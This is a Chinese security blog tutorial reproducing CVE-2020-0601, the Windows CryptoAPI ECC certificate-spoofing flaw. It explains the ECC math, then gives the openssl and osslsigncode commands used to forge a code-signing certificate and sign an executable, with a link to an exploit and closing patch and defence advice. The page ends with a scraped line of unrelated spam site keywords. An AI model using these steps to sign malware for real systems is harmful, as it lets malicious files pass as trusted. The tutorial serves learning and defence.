<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          [漏洞復(fù)現(xiàn)] 三.CVE-2020-0601微軟證書漏洞及Windows驗證機制欺騙復(fù)現(xiàn)

          共 2471字,需瀏覽 5分鐘

           ·

          2020-09-10 04:52

          最近開始學(xué)習(xí)網(wǎng)絡(luò)安全和系統(tǒng)安全,接觸到了很多新術(shù)語、新方法和新工具,作為一名初學(xué)者,感覺安全領(lǐng)域涉及的知識好廣、好雜,但同時也非常有意思。這系列文章是作者學(xué)習(xí)安全過程中的總結(jié)和探索,我們一起去躺過那些坑、跨過那些洞、守住那些站,真心希望文章對您有所幫助,感謝您的閱讀和關(guān)注。

          漏洞復(fù)現(xiàn)第三篇文章將分享微軟證書漏洞CVE-2020-0601,并講解ECC算法、Windows驗證機制,復(fù)現(xiàn)可執(zhí)行文件簽名證書的例子。希望這篇基礎(chǔ)文章對您有所幫助,更希望大家提高安全意識,學(xué)會相關(guān)防范,也歡迎大家討論。娜璋AI安全之家于2020年8月18日開通,將專注于Python和安全技術(shù),主要分享Web滲透、系統(tǒng)安全、CVE復(fù)現(xiàn)、威脅情報分析、人工智能、大數(shù)據(jù)分析、惡意代碼檢測等文章。真心想把自己近十年的所學(xué)所做所感分享出來,與大家一起進步。


          聲明:本人堅決反對利用教學(xué)方法進行惡意攻擊的行為,一切錯誤的行為必將受到嚴懲,綠色網(wǎng)絡(luò)需要我們共同維護,更推薦大家了解技術(shù)背后的原理,更好地進行安全防護。雖然作者是一名安全小白,但會保證每一篇文章都會很用心地撰寫,希望這些基礎(chǔ)性文章對你有所幫助,安全路上一起前行。

          文章目錄:

          • 一.漏洞背景

          • 二.漏洞原理?

            1.ECC加密算法 2.Windows證書驗證

          • 三.可執(zhí)行文件簽名漏洞利用?

            1.證書查看 2.環(huán)境搭建 3.漏洞還原

          • 四.防御措施及總結(jié)



          一.漏洞背景

          2020年1月15日,微軟發(fā)布了針對CVE-2020-0601的安全補丁,該漏洞是微軟在實現(xiàn)橢圓曲線加密(ECC)算法數(shù)字證書驗證時產(chǎn)生,位于CryptoAPI.dll文件,可被利用于偽造來自可信任來源的簽名或證書,并且因其業(yè)務(wù)特性會衍生出多種攻擊向量,具有極高的可利用價值和極大的潛在破壞力,Win10和windows server 2016 & 2019也都在其影響范圍內(nèi)。

          有意思的是,在微軟發(fā)布公告后,NSA也發(fā)布了關(guān)于CVE-2020-0601漏洞的預(yù)警通告。根據(jù)通告可以得知,這個漏洞是由NSA率先獨立發(fā)現(xiàn)并匯報給微軟的(微軟在報告中對NSA致謝),也被認為是第一個NSA公開披露的軟件系統(tǒng)漏洞,當(dāng)然也有可能存在其特殊的戰(zhàn)術(shù)目的。

          該漏洞位于Windows CryptoAPI(Crypt32.dll)驗證橢圓曲線加密算法證書的方式,可能影響信任的一些實例包括:

          • HTTPS連接

          • 文件簽名

          • 電子郵件簽名

          • 以用戶模式啟動的簽名可執(zhí)行程序

          此外,該漏洞可以讓攻擊者偽造代碼簽名證書對惡意可執(zhí)行文件進行簽名,使文件看似來自可信的來源。例如,可以讓勒索軟件或其他間諜軟件擁有看似有效的證書,從而促使用戶安裝。中間人攻擊并解密用戶連接到受影響軟件的機密信息也是主要的攻擊場景之一。

          目前,支持使用帶有指定參數(shù)的ECC密鑰的證書的Microsoft Windows版本會受到影響,包括了Windows 10、Windows Server 2016/2019以及依賴于Windows CryptoAPI的應(yīng)用程序。而Windows 10 之前的版本,如Windows 7、Windows Server 2008 R2 等均不受該漏洞的影響。因為win7沒有默認添加微軟的ECC根證書,crypt32.dll里面也沒這個hash值,沒法直接對比通過,故不受影響。



          二.漏洞原理

          該部分主要參考下面兩篇文章,再次感謝,也強烈推薦大家閱讀這兩位老師的博客?;ㄟ@么多篇幅介紹原理知識,一方面是完善自己的安全知識體系,另一方面只有深入了解原理才能更好地做防御。

          • [M01N] CVE-2020-0601 Windows CryptoAPI欺騙漏洞分析 - 綠盟科技老師

          • cve-2020-0601 漏洞原理淺述 - 阿魯卡Alluka老師

          1.ECC加密算法

          CVE-2020-0601的根源是微軟的加密庫crypt32.dll中橢圓曲線加密算法的實現(xiàn)問題,首先我們來了解一下橢圓加密算法的基本原理。

          • 基礎(chǔ)知識
            ECC私鑰+橢圓曲線=ECC公鑰
          • 漏洞成因
            微軟的私鑰+微軟選的橢圓曲線=微軟根證書里面的公鑰
            黑客的私鑰+黑客選的橢圓曲線=微軟根證書里面的公鑰
            不同的橢圓曲線和不同的私鑰,能產(chǎn)生一模一樣的公鑰。win10默認添加了微軟的ECC根證書,在做證書驗證時,會一直驗證到微軟根證書中的公鑰hash值,這個值直接寫在了crypt32.dll里面,驗證時沒有對比是不是同一個橢圓曲線,只對比了公鑰值,導(dǎo)致了黑客拿自己的私鑰簽名,就能偽裝成微軟的簽名。

          • ECC算法
            要形象地理解橢圓曲線加密算法,可以結(jié)合圖形來看,以下是一個符合橢圓曲線的方程及圖像。

          橢圓曲線具有的一些獨特的性質(zhì)使它適合用于加密算法:

          • 橢圓曲線關(guān)于x軸對稱

          • 任何一條非垂直的線與曲線最多有三個點相交

          • 曲線是光滑的,即曲線的所有點都沒有兩個或者兩個以上的不同的切線

          在橢圓曲線上任意兩點A、B(若A、B重合則作A的切線),作直線交于橢圓曲線另一點C',過C'做y軸的平行線與橢圓曲線交于C點,定義A+B=C。橢圓曲線的加法符合交換律和結(jié)合律。

          如果A、B是同一個點,則過A作橢圓曲線的切線,以同樣的方法得到對應(yīng)的結(jié)果 C=2A 。

          接下來是橢圓曲線加密相關(guān)的重點,如果對多個A進行累加,則可依次累加連線得到nA的值 。

          • (1) 起點為A,終點D=3A,階為3 。

          • (2) 起點為A,終點G=4A,階為4。

          橢圓曲線加密算法的數(shù)學(xué)依據(jù) :?考慮K=kG,其中K、G為橢圓曲線Ep(a,b)上的點,n為G的階。k為小于n的整數(shù)。給定k和G,根據(jù)加法法則計算K很容易(逐次求解);但反過來,給定K和G,求k就非常困難。因為實際使用中的ECC原則上把私鑰k取得相當(dāng)大,n也相當(dāng)大,且橢圓曲線不再連續(xù)而是在實數(shù)內(nèi)離散的值,要把n個解點逐一算出幾乎是不可能的。

          • 點G稱為基點

          • k(k

          • K為公開密鑰

          ECC和RSA加密算法對比:橢圓曲線加密算法(ECC)和RSA同樣是一種公開密鑰加密技術(shù),對原始數(shù)據(jù)以公鑰加密,以私鑰解密,即便攻擊者獲取密文和公鑰也無法(在合理的時間或代價下)解密獲取明文。ECC常被應(yīng)用于數(shù)字簽名,以私鑰加密生成簽名,以公鑰解密驗證簽名,如果和原文一樣則簽名驗證成功。公開密鑰加密之所以可靠是因為它們利用了公鑰密碼領(lǐng)域的單向函數(shù)原理,正向操作非常簡單,而逆向操作非常困難。由G(基點)出發(fā),進行k(私鑰)次變換,很容易地得到終點K(公鑰)的值。

          已知起點G(基點)和終點K(公鑰),要逆推得到移動次數(shù)k(私鑰)則是一個很難的問題。相比傳統(tǒng)RSA加密算法,橢圓加密算法具有著天生的優(yōu)勢,橢圓加密算法的逆向過程相比RSA有著更大的時間復(fù)雜度。在密鑰長度相同的情況下,橢圓加密算法相比RSA具有更好的安全強度。 一般認為,160比特的橢圓曲線密鑰即可提供與1024比特的RSA密鑰相當(dāng)?shù)陌踩珡姸取?/p>

          較短的密鑰也意味著更少的存儲空間、更快的加解密速度和更少的帶寬消耗,正因為橢圓加密算法的這些優(yōu)勢,它被用于Windows的簽名系統(tǒng)、https的證書、比特幣系統(tǒng)和中國的二代身份證系統(tǒng)中。

          雖然橢圓曲線加密算法具有著許多優(yōu)勢,純算法角度攻破難度極大,微軟對此算法的實現(xiàn)的缺漏卻給漏洞利用提供了可乘之機?;氐綑E圓曲線加密最基本的等式 K=kG,首先需要明確的是,雖然對于給定的基點G和公鑰K,要求解私鑰k很困難,但是如果可以任意指定基點G,要構(gòu)造一對k和G使等式成立卻極其簡單。最簡單的情況,令基點G=K,則私鑰k=1,這樣一對基點和私鑰可以使等式成立,也是有效的解。

          在正常的標準橢圓曲線算法中,基點G并不是隨意指定的,而是有固定的值(標準文件會對基點G等參數(shù)的選擇做出規(guī)定),例如在secp256r1版本的橢圓曲線算法中,基點G應(yīng)當(dāng)為標準規(guī)定的固定值,如果對參數(shù)不加驗證,使得用戶可以自定義傳入的基點G值(作為函數(shù)的參數(shù)),上面的私鑰k=1的特殊解即可成立。

          在有漏洞版本的crypt32.dll中驗證使用ECC算法簽名部分的函數(shù)恰恰是這個情況,原先的函數(shù)未加參數(shù)驗證,參與計算的基點G的內(nèi)容由被驗證的證書隨意指定,使未授權(quán)的證書能夠構(gòu)建私鑰k=1的特殊解來成功通過橢圓加密算法的簽名驗證的過程。



          2.Windows證書驗證

          以SSL協(xié)議為例,講解Windows如何進行證書驗證。比如,小明(m)在某電商(x)網(wǎng)站上購買了一本書,這時就調(diào)用了SSL協(xié)議進行通訊,建立SSL協(xié)議的步驟總結(jié)為下圖。

          基本步驟包括:

          • ①?打招呼:?小明和電商互相介紹自己,小明和電商協(xié)商好以后的步驟里將使用到的特定密碼算法。在本漏洞中,該算法為ECC加密算法。(該步驟沒有利用密碼工具)

          • ②?身份驗證:?電商向小明驗證自己的身份,電商發(fā)送包含自己的公鑰的證書。該證書由權(quán)威的第三方證書機構(gòu)(CA)頒發(fā)。小明使用CA的公開驗證密鑰,驗證證書中對PK的簽名。(漏洞觸發(fā)地方)

          • ③?信息加密:?由小明生成一個隨機的密鑰MS,該密鑰用于生成對雙方傳輸?shù)男畔⑦M行對稱加密的K1與K2。MS由小明獲得的公鑰進行加密并交給電商。電商通過手中的私鑰解密獲得MS。這時雙方都獲得了用于進行加密通訊的密鑰。

          注意:

          • 在SSL會話過程中,只有電商一方被要求提供證書,小明可能根本沒有公鑰(或證書)。這和我們平時去小賣部買東西一樣,銷售方需要提供銷售許可, 而你只需要付錢就可以了。

          • 該漏洞的觸發(fā)點在于?第三方權(quán)威機構(gòu)(Windows)?在步驟②驗證證書時產(chǎn)生的邏輯漏洞,使得攻擊者可以通過偽造證書將自身偽裝成電商, 與小明 進行通訊。從而達到騙財騙色騙信息的目的。

          • 通過及時更新微軟補丁包可以有效防止上述情況的發(fā)生。


          接著我們分享微軟驗證證書的機制,以及其存在的邏輯漏洞。

          • 在Windows系統(tǒng)訪問一個網(wǎng)站(例Github.com)時, 該網(wǎng)站會向Windows系統(tǒng)發(fā)送由第三方權(quán)威機構(gòu)(CA)簽署的網(wǎng)站證書。

          • Windows系統(tǒng)則會驗證該證書是否由CA頒發(fā),若驗證通過,則Windows系統(tǒng)與網(wǎng)站成功建立TLS鏈接。

          • 為了方便下一次更快的訪問,Windows將驗證成功的證書放入內(nèi)存中一塊Certificate Cache(證書緩存)中。在下一次校驗時,如果該證書存在于緩存中,則直接取緩存中的值進行校驗。這里利用CVE-2020-0601。

          • 在成功緩存證書數(shù)據(jù)后,根據(jù)下面描述的Windows證書緩存機制,惡意網(wǎng)站可以偽造虛假的網(wǎng)站(例github.com)證書且通過Windows驗證,將自身偽裝成合法網(wǎng)站。

          • 當(dāng) Windows 接收到新的證書時,Windows 將新接收的證書與已緩存證書的證書的公鑰進行遍歷對比,尋找匹配的值。

          • 偽造的惡意證書與Windows系統(tǒng)中的緩存證書有同樣的公鑰,但Curve項沒有在校驗范圍內(nèi),所以可以通過構(gòu)造自定義Curve來偽造證書。使得證書驗證流程依然成立,但通過驗證的證書已經(jīng)不是之前成功驗證的安全證書。

          PS:寫到這里,如果您懵圈了,沒關(guān)系!我也哭暈了好幾次,都發(fā)求救貼了,接著我們看看實際操作。



          三.可執(zhí)行文件簽名漏洞利用

          1.證書查看

          首先,我?guī)ьI(lǐng)大家看看Windows證書。運行中輸入“certmgr.msc”,可以看到這里面有5個系統(tǒng)默認的ECC簽名的根證書,如下圖所示。

          我們隨意導(dǎo)出其中一個根證書,導(dǎo)出直接選擇Base64編碼那個就行。

          可以看到導(dǎo)出的ECC密鑰證書如下圖所示,包括證書的有效期等信息。這就是微軟在實現(xiàn)橢圓曲線加密(ECC)算法的數(shù)字證書,位于CryptoAPI.dll文件,也是被我們利用來偽造可信任來源的簽名漏洞。

          同樣,我們可以通過Powershell(其用法推薦前文)查看默認的根證書。

          • dir cert:\localmachine\root | Where-Object { $_.FriendlyName -like "*ECC*" }




          2.環(huán)境搭建

          • Linux系統(tǒng)、Windows系統(tǒng)WSL軟件(Windows Subsystem for Linux)

          • Ruby環(huán)境

          • Github資源:main.rb、openssl_cs.conf、簽名證書

          • 可執(zhí)行exe文件(用于簽名)

          由于作者是Windows環(huán)境,但需要運行Linux命令,所以這里安裝了Windows Subsystem for Linux軟件。

          第一步,打開應(yīng)用商城搜索“WSL”,可根據(jù)自己需求選擇安裝一個或多個Linux系統(tǒng)。

          第二步,安裝完成后可以在開始菜單的最近添加中打開Ubuntu。第一次打開Ubuntu時,會提示你創(chuàng)建新的用戶賬戶和密碼。這個用戶賬戶只是普通的非管理員用戶,如果要提升權(quán)限,需要使用sudo命令。

          下面可以測試該環(huán)境已經(jīng)搭建成功,我們能在Windows系統(tǒng)下運行Linux。

          第三步,我們復(fù)制文件進入。作者使用WSL,主要還因為它的另一個優(yōu)勢,能夠訪問Windows系統(tǒng)的內(nèi)容,靈活復(fù)制和切換文件。

          • (1) 可以在wsl終端輸入以下命令 cd /mnt

          • (2) 可以在wsl終端輸入以下命令 explorer.exe .

          • (3) 復(fù)制ca.cer文件

          路徑為:\wsl$\Ubuntu\home\yxz

          第四步,使用openssl查看證書信息的內(nèi)容,后面我們會反復(fù)使用該命令。

          1. openssl x509 -in ca.cer -text -noout

          在計算機網(wǎng)絡(luò)上,OpenSSL是一個開放源代碼的軟件庫包,應(yīng)用程序可以使用這個包來進行安全通信,避免竊聽,同時確認另一端連接者的身份。這個包廣泛被應(yīng)用在互聯(lián)網(wǎng)的網(wǎng)頁服務(wù)器上。



          3.漏洞還原

          接下來將詳細講解如何還原可執(zhí)行文件簽名證書偽裝漏洞。

          第一步,安裝Ruby環(huán)境并測試。

          • 安裝環(huán)境:sudo apt install ruby

          • 查看版本:ruby -v

          • 創(chuàng)建文件:touch HelloWorld.ry

          • 編輯代碼:vim HelloWorld.ry

          • 運行代碼:ruby HelloWorld.ry

          第二步,提取ECC根證書公鑰信息。將main.rb文件和導(dǎo)出的微軟ECC簽名證書文件復(fù)制或上傳至Linux系統(tǒng)或WSL。注意,這里的ECC證書也可以使用上面我們導(dǎo)出的那個文件。

          接著運行ruby代碼。

          • ruby main . rb ./ MicrosoftECCProductRootCertificateAuthority . cer

          此時生成“spoofed_ca.key”公鑰文件

          main.rb代碼如下,設(shè)置私鑰為1,使得加密等式成立,并生成證書公鑰文件。

          第三步,基于此密鑰生成一個新的x509證書,這將是我們自己的欺騙性CA.

          • openssl req - new - x509 - key spoofed_ca . key - out spoofed_ca . crt

          注意,國家、地區(qū)、作者可以隨意填寫,此時生成“spoofed_ca.crt”公鑰文件。

          第四步,生成一個新密鑰。該密鑰可以是您想要的任何類型,它將用于創(chuàng)建代碼簽名證書,我們將使用自己的CA對其進行簽名。

          • openssl ecparam - name secp384r1 - genkey - noout - out cert . key

          此時生成“cert.key”新密鑰文件。

          第五步,接下來創(chuàng)建一個新的證書簽名請求(CSR)。該請求通常會發(fā)送到受信任的CA,但是由于存在欺騙請求,因此我們可以自己對其進行簽名。

          • openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs

          注意,需要復(fù)制openssl_cs.conf文件進去,此時生成“cert.csr”文件。


          第六步,使用我們的欺騙性CA和CA密鑰簽署新的CSR。該證書將在2047年到期,而真正的受信任Microsoft CA將在2043年到期。

          • openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs


          生成“cert.crt”簽名證書文件。

          第七步,將證書的密鑰和欺騙性的CA打包到一個PKCS12文件中,以對可執(zhí)行文件進行簽名。

          • openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12

          生成“cert.p12”名證書文件。

          第八步,用PKCS12文件簽名可執(zhí)行文件。

          • osslsigncode sign -pkcs12 cert.p12 -n "Signed by ollypwn" -in python.exe -out python_signed.exe

          注意,osslsigncode可能需要安裝,如下所示。

          用PKCS12文件簽名可執(zhí)行文件,最終生成“python_signed.exe”簽名可執(zhí)行文件。

          第九步,文件右鍵”屬性“打開,如下所示,多了”數(shù)字簽名“且能看查看”詳細信息”。

          點擊”查看證書”,可以看到具體信息,比如2047年到期,頒發(fā)者為我們設(shè)置的“hacker”,以及設(shè)置的簽名信息,并且證書是可靠的。該可執(zhí)行文件的數(shù)字簽名校驗通過,并且成功欺騙了系統(tǒng)。

          如果更新補丁知乎,可執(zhí)行文件的數(shù)字簽名會無法驗證。

          完整命令:



          四.防御措施及總結(jié)

          緩解措施
          快速采用補丁是目前已知較好的緩解措施。盡管尚未出現(xiàn)公開的攻擊方式和案例,但建議大家及時安裝安全更新。更新后,當(dāng)檢測到有人試圖利用CVE-2020-0601進行攻擊時,系統(tǒng)將在每次重新啟動Windows日志后在事件查看器中生成事件ID。
          安全建議
          除了安裝修補程序之外,企業(yè)還可以采取其他措施保護端點,比如:
          • 從網(wǎng)絡(luò)流量中提取證書,檢查可疑的屬性;

          • 通過執(zhí)行TLS檢查,不使用Windows進行證書驗證的代理設(shè)備承載流量;

          • 在企業(yè)內(nèi)部部署私有根證書頒發(fā)機構(gòu),并且在特定計算機/服務(wù)器位置控制第三方軟件的部署和使用;

          • 符合條件的企業(yè)可以申請加入微軟 Security Update Validation Program (SUVP) 或 Microsoft Active Protections Program (MAPP),從而提前從微軟獲得安全更新以進行相關(guān)的測試分析。

          github EXP下載地址

          • https://github.com/eastmountyxz/CVE-2020-0601-EXP

          同樣,大家可以利用該漏洞復(fù)現(xiàn)HTTPS劫持案例。

          這篇文章真的花費了很多精力,希望您喜歡。同時感覺自己要學(xué)習(xí)的知識好多,也有好多大神臥虎藏龍,開源分享。作為初學(xué)者,我們可能有差距,不論你之前是什么方向,是什么工作,是什么學(xué)歷,是大學(xué)大專中專,亦或是高中初中,只要你喜歡安全,喜歡滲透,就朝著這個目標去努力吧!有差距不可怕,我們需要的是去縮小差距,去戰(zhàn)斗,況且這個學(xué)習(xí)的歷程真的很美,安全真的有意思。但切勿去做壞事,我們需要的是白帽子,是維護我們的網(wǎng)絡(luò),安全路上共勉。

          前文分享(下面的超鏈接可以點擊喔):

          最后,真誠地感謝您關(guān)注“娜璋之家”公眾號,也希望我的文章能陪伴你成長,希望在技術(shù)路上不斷前行。文章如果對你有幫助、有感悟,就是對我最好的回報,且看且珍惜!再次感謝您的關(guān)注,也請幫忙宣傳下“娜璋之家”,哈哈~初來乍到,還請多多指教。

          出來兩個月,真的有點想家了。
          好想女神o(╥﹏╥)o

          (By:娜璋之家公眾號 Eastmount 2020-09-04 夜于武漢)


          參考文獻:

          • https://github.com/ollypwn/CurveBall

          • https://github.com/kudelskisecurity/chainoffools

          • https://github.com/saleemrashid/badecparams

          • http://blog.nsfocus.net/cve-2020-0601-windows-cryptoapi欺騙漏洞分析/

          • https://www.freebuf.com/vuls/225524.html

          • https://www.freebuf.com/column/225457.html

          • https://evi1cg.me/archives/cve20200601.html


          瀏覽 139
          點贊
          評論
          收藏
          分享

          手機掃一掃分享

          分享
          舉報
          評論
          圖片
          表情
          推薦
          點贊
          評論
          收藏
          分享

          手機掃一掃分享

          分享
          舉報
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  天堂在线8 | 日韩另类大片 | 94色在线 | 欧美日韩在线免费看 | 91精品久久久久久综合五月天 |